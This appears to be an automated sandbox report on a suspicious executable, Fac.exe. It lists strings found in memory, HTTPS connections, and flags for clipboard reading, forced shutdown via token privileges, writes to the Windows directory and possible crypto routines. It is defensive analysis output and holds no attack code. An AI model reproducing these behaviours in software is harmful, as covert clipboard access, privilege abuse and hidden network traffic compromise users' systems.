Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-n
Source: Fac.exe, 00000002.00000002.43476613162.0000000034C56000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Fac.exe, 00000002.00000002.43476613162.0000000034E6E000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FE2000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E02000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=eicar
Source: Fac.exe, 00000002.00000003.42462884484.0000000003785000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462765837.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.googletagmanager.com
Source: Fac.exe, 00000002.00000003.42462884484.0000000003785000.00000004.00000020.00020000.00000000.sdmp, Fac.exe, 00000002.00000003.42462765837.0000000003740000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-release
Source: Fac.exe, 00000002.00000002.43476613162.0000000034DB4000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E7A000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034FD7000.00000004.00000800.00020000.00000000.sdmp, Fac.exe, 00000002.00000002.43476613162.0000000034E19000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-GB/firefox/all/#product-desktop-releasehttps://www.mozilla.org/en-GB/fire
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-GB/firefox/windows/
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/
Source: Fac.exe, 00000002.00000002.43474377171.0000000033D87000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.office.com/lB
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown HTTPS traffic detected: 142.251.41.14:443 -> 192.168.11.20:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.72.97:443 -> 192.168.11.20:49768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.11.20:49786 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_0040542B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_0040542B
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_00403359 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_00403359
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00403359 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 2_2_00403359
Creates files inside the system directory
Source: C:\Users\user\Desktop\Fac.exe File created: C:\Windows\resources\0409 Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_00404C68 0_2_00404C68
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_0040698E 0_2_0040698E
Source: C:\Users\user\Desktop\Fac.exe Code function: 0_2_70171B63 0_2_70171B63
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00404C68 2_2_00404C68
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_0040698E 2_2_0040698E
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_0015C060 2_2_0015C060
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_0015C330 2_2_0015C330
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00155360 2_2_00155360
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_0015C600 2_2_0015C600
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_0015C8D0 2_2_0015C8D0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_0015E988 2_2_0015E988
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_001569A0 2_2_001569A0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_001529E0 2_2_001529E0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_0015CBA0 2_2_0015CBA0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_0015BBC8 2_2_0015BBC8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00159DE0 2_2_00159DE0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_0015CE70 2_2_0015CE70
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00156FC8 2_2_00156FC8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_0015F95F 2_2_0015F95F
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_0015E978 2_2_0015E978
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_00153E09 2_2_00153E09
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C31E80 2_2_36C31E80
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C317A0 2_2_36C317A0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3CCD0 2_2_36C3CCD0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C39548 2_2_36C39548
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3F8D8 2_2_36C3F8D8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C35028 2_2_36C35028
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C32968 2_2_36C32968
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3EEE7 2_2_36C3EEE7
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3EEF8 2_2_36C3EEF8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C31E70 2_2_36C31E70
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3178F 2_2_36C3178F
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C3CCC0 2_2_36C3CCC0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C39C18 2_2_36C39C18
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C38BA0 2_2_36C38BA0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C30B21 2_2_36C30B21
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C30B30 2_2_36C30B30
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C30040 2_2_36C30040
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C35018 2_2_36C35018
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36C30021 2_2_36C30021
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBA6E8 2_2_36FBA6E8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB52C8 2_2_36FB52C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBAD40 2_2_36FBAD40
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB2300 2_2_36FB2300
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB15F8 2_2_36FB15F8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB8FF8 2_2_36FB8FF8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBBFF8 2_2_36FBBFF8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB08F0 2_2_36FB08F0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB82F0 2_2_36FB82F0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBE8F7 2_2_36FBE8F7
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB75E8 2_2_36FB75E8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBDFE8 2_2_36FBDFE8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB08EF 2_2_36FB08EF
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB08E3 2_2_36FB08E3
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB99E2 2_2_36FB99E2
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB99E0 2_2_36FB99E0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBA6E7 2_2_36FBA6E7
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBBFE7 2_2_36FBBFE7
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBB6D8 2_2_36FBB6D8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBA6D8 2_2_36FBA6D8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBDFD8 2_2_36FBDFD8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB5FD0 2_2_36FB5FD0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBD6C8 2_2_36FBD6C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB5FCF 2_2_36FB5FCF
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB45C0 2_2_36FB45C0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB5FC0 2_2_36FB5FC0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBB6C7 2_2_36FBB6C7
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB52BB 2_2_36FB52BB
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB38B8 2_2_36FB38B8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBF6B8 2_2_36FBF6B8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB45B1 2_2_36FB45B1
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB2BB0 2_2_36FB2BB0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBD6B7 2_2_36FBD6B7
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB1EA8 2_2_36FB1EA8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBCDA8 2_2_36FBCDA8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB11A0 2_2_36FB11A0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB8BA0 2_2_36FB8BA0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB2BA0 2_2_36FB2BA0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBF6A7 2_2_36FBF6A7
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB0498 2_2_36FB0498
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB7E98 2_2_36FB7E98
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBED98 2_2_36FBED98
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBCD98 2_2_36FBCD98
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBA292 2_2_36FBA292
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB8B91 2_2_36FB8B91
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB7190 2_2_36FB7190
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBA290 2_2_36FBA290
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB1190 2_2_36FB1190
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB048B 2_2_36FB048B
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB9588 2_2_36FB9588
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBC488 2_2_36FBC488
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB7E88 2_2_36FB7E88
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBED88 2_2_36FBED88
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB7180 2_2_36FB7180
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB5B78 2_2_36FB5B78
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBE478 2_2_36FBE478
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBC478 2_2_36FBC478
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB4E70 2_2_36FB4E70
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB5B77 2_2_36FB5B77
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB4168 2_2_36FB4168
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBBB68 2_2_36FBBB68
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBE468 2_2_36FBE468
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB5B6F 2_2_36FB5B6F
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB3460 2_2_36FB3460
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB4E60 2_2_36FB4E60
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB415B 2_2_36FB415B
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB2758 2_2_36FB2758
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBDB58 2_2_36FBDB58
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBBB58 2_2_36FBBB58
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB1A50 2_2_36FB1A50
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB2749 2_2_36FB2749
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB0D48 2_2_36FB0D48
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB8748 2_2_36FB8748
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBB248 2_2_36FBB248
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBFB48 2_2_36FBFB48
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBDB48 2_2_36FBDB48
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB1A41 2_2_36FB1A41
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB0040 2_2_36FB0040
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB7A40 2_2_36FB7A40
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB9E38 2_2_36FB9E38
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBD238 2_2_36FBD238
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB0D38 2_2_36FB0D38
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB8738 2_2_36FB8738
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBB238 2_2_36FBB238
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBFB38 2_2_36FBFB38
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBAD31 2_2_36FBAD31
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB7A30 2_2_36FB7A30
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB9E29 2_2_36FB9E29
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBD229 2_2_36FBD229
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB6428 2_2_36FB6428
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBF228 2_2_36FBF228
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB5720 2_2_36FB5720
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB641B 2_2_36FB641B
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBF219 2_2_36FBF219
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB4A18 2_2_36FB4A18
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBC918 2_2_36FBC918
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB571F 2_2_36FB571F
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB001E 2_2_36FB001E
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB3D10 2_2_36FB3D10
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB5710 2_2_36FB5710
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB3008 2_2_36FB3008
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBE908 2_2_36FBE908
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB4A08 2_2_36FB4A08
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FB3D03 2_2_36FB3D03
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FBC907 2_2_36FBC907
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD70C0 2_2_36FD70C0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FDEE38 2_2_36FDEE38
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FDD710 2_2_36FDD710
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD5AE0 2_2_36FD5AE0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD28E0 2_2_36FD28E0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD3EC0 2_2_36FD3EC0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD0CC0 2_2_36FD0CC0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD3EB3 2_2_36FD3EB3
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD54A0 2_2_36FD54A0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD22A0 2_2_36FD22A0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD2290 2_2_36FD2290
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD3880 2_2_36FD3880
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD0680 2_2_36FD0680
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD6A80 2_2_36FD6A80
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD3870 2_2_36FD3870
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD4E60 2_2_36FD4E60
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD1C60 2_2_36FD1C60
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD6440 2_2_36FD6440
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD3240 2_2_36FD3240
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD0040 2_2_36FD0040
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD6430 2_2_36FD6430
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD4820 2_2_36FD4820
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD1620 2_2_36FD1620
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD5E00 2_2_36FD5E00
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD2C00 2_2_36FD2C00
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD41E0 2_2_36FD41E0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD0FE0 2_2_36FD0FE0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD0FD0 2_2_36FD0FD0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD57C0 2_2_36FD57C0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD25C0 2_2_36FD25C0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD25B0 2_2_36FD25B0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD6DA0 2_2_36FD6DA0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD3BA0 2_2_36FD3BA0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD09A0 2_2_36FD09A0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD5180 2_2_36FD5180
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD1F80 2_2_36FD1F80
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD6760 2_2_36FD6760
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD3560 2_2_36FD3560
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD0360 2_2_36FD0360
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD9741 2_2_36FD9741
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD4B40 2_2_36FD4B40
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD1940 2_2_36FD1940
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD6120 2_2_36FD6120
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD2F20 2_2_36FD2F20
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD4500 2_2_36FD4500
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FD1300 2_2_36FD1300
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE61E8 2_2_36FE61E8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE2DA8 2_2_36FE2DA8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE1FF8 2_2_36FE1FF8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEB7F8 2_2_36FEB7F8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE48F7 2_2_36FE48F7
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE74F7 2_2_36FE74F7
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE0DF0 2_2_36FE0DF0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE8CF0 2_2_36FE8CF0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEE2EF 2_2_36FEE2EF
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEB7EA 2_2_36FEB7EA
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE3FE8 2_2_36FE3FE8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEFAE8 2_2_36FEFAE8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE1FE8 2_2_36FE1FE8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE61E5 2_2_36FE61E5
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FECFE0 2_2_36FECFE0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE8CE1 2_2_36FE8CE1
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE0DDF 2_2_36FE0DDF
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEA4D8 2_2_36FEA4D8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEFAD8 2_2_36FEFAD8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE3FD9 2_2_36FE3FD9
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE04D0 2_2_36FE04D0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE79D0 2_2_36FE79D0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FECFCF 2_2_36FECFCF
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE36C8 2_2_36FE36C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEE7C8 2_2_36FEE7C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEA4C8 2_2_36FEA4C8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEBCC0 2_2_36FEBCC0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE79C0 2_2_36FE79C0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE04BF 2_2_36FE04BF
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE56B8 2_2_36FE56B8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE91B8 2_2_36FE91B8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE36B8 2_2_36FE36B8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEE7B9 2_2_36FEE7B9
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE66B0 2_2_36FE66B0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEBCB0 2_2_36FEBCB0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE91AA 2_2_36FE91AA
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FED4A8 2_2_36FED4A8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE56A8 2_2_36FE56A8
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEA9A0 2_2_36FEA9A0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE66A0 2_2_36FE66A0
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE2D9A 2_2_36FE2D9A
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE4D98 2_2_36FE4D98
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FE7E98 2_2_36FE7E98
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FED498 2_2_36FED498
Source: C:\Users\user\Desktop\Fac.exe Code function: 2_2_36FEEC90 2_2_36FEEC90
